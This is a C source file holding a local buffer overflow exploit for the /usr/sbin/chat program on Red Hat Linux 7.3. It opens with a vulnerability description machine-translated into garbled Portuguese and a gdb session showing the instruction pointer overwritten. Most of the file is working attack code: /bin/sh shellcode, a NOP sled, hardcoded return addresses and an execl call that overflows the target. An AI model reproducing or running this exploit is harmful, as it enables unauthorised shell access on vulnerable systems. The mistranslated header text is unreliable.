/*
*** Copyright (C) NrAziz
*
*** /usr/sbin/chat on Red Hat 7.3
*
*** [email protected]
*
*** Greets to my good friend (Rave)*(Mixter)/Mercy(remember helpforexe??)+(Gorny).
*/
/*
********************** VULNERABILIDADE *************************
* 1. Definição:
*
* O programa de bate-papo define um conversational troca entre
* o computador e o modem. Seu propósito primário está
para
* estabelece a conexão entre o Ponto-para-ponto Proto-
* col Daemon.
*
* 2. Detalhe:
* Há um buffer transborda vulnerabilidade no bate-papo programa
que pode ser
* explorado por colocar dados mais que 1052, causarão o buffer
para mais de
* fluxo.
*
*
* 3. Detection:
* O bate-papo programa no Linux 7.3 foi encontrado vulnerável,
outros não testados.
*
* [nraziz@nraziz códigos]$ gdb /usr/sbin/chat
* GNU gdb Linux De Chapéu Vermelho (5.1.90CVS-5)
* Copyright 2002 Fundação De Software Grátis, Inc.
* GDB é software grátis, coberto pelo GNU Licença
Pública Geral, e você está
* bem-vindo a muda isto and/or distribue cópias disto sob condições
certas.
* Tipo "espetáculo copiando" para ver as condições.
* Há absolutamente nenhuma garantia ao GDB. Tipo "mostra
garantia" para detalhes.
* Este GDB foi configured como "i386-redhat-linux"...
* (nenhuns símbolos do debugging encontrados)...
* (gdb) corrida `perl -e 'impressão "Uma" x 1056''
* Começando programa: /usr/sbin/chat `perl -e 'impressão
"Uma" x 1056''
* (nenhuns símbolos do debugging encontrados)...(nenhuns símbolos
do debugging encontrados)...
* Program received signal SIGSEGV, Segmentation fault.
* 0x41414141 in ?? ()
* (gdb)info all
* eax 0x804cc88 134532232
* ecx 0x0 0
* edx 0x422 1058
* ebx 0x41414141 1094795585
* esp 0xbffff290 0xbffff290
* ebp 0x41414141 0x41414141
* esi 0x41414141 1094795585
* edi 0x41414141 1094795585
* eip 0x41414141 0x41414141 <---------eip overwritten
* ^^^ ^^^^^^^^^^ ^^^^^^^^^^
*
****************************************************************
*/
/*
* Exploit Goes Here
*/
#include <stdio.h>
#include <stdlib.h>
char shellcode[] =
"\x31\xc0" /* xor %eax, %eax */
"\x50" /* push %eax */
"\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x89\xe3" /* mov %esp,%ebx */
"\x50" /* push %eax */
"\x53" /* push %ebx */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb0\x0b" /* mov $0xb,%al */
"\xcd\x80"; /* int $0x80 */
#define BSIZE 1054
//#define RET 1056
/*
* Both the RET works :)
*/
//#define RET 0xbffffa14
#define RET 0xbffff94c
int main(int argc,char **argv)
{
int bsize=BSIZE;
char *buffer;
int i;
unsigned long retaddr=RET;
if(argc>1) bsize=atoi(argv[1]);
buffer=(char *)malloc(sizeof(char)*bsize);
fprintf(stderr,"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
fprintf(stderr,"chat Xploit for Linux 7.3 by NrAziz\n");
fprintf(stderr,"Using address:%p\n",retaddr);
fprintf(stderr,"N R A Z I Z\n");
fprintf(stderr,"polygrithm @ hotmail.com\n");
fprintf(stderr,"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
for(i=0;i<bsize;i+=4)
*(long *)&buffer[i]=retaddr;
for(i=0;i<bsize-strlen(shellcode)-100;i++)
*(long*)&buffer[i]=0x90;
memcpy(buffer+i,shellcode,strlen(shellcode));
execl("/usr/sbin/chat","chat",buffer,NULL);
return 0;
}
Cracks's S.A